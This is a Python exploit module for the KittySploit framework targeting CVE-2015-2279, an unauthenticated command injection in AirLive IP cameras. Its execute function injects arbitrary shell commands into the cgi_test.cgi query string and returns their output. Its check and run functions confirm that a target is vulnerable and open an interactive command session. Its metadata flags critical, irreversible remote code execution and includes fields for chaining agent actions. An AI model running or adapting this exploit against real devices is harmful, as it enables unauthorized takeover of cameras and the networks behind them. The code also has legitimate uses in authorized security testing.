AirLive cgi_test.cgi RCE (CVE-2015-2279)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""AirLive cgi_test.cgi command injection RCE (CVE-2015-2279) — execute session."""

from __future__ import annotations

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'AirLive cgi_test.cgi RCE (CVE-2015-2279)',
        'description': (
            'Exploits CVE-2015-2279 OS command injection in /cgi_test.cgi via the '
            'write_tan parameter. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2015-2279'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2015-2279',
        ],
        'tags': ['airlive', 'iot', 'camera', 'rce', 'cmdi', 'unauth', 'cve-2015-2279'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'cgi_test.cgi injection'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/cve_2015_2279_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        from urllib.parse import quote
        inj = quote(str(cmd), safe='')
        path = f'/cgi_test.cgi?write_tan&;{inj}&id'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2015-2279 confirmed via id output',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'cgi_test.cgi did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()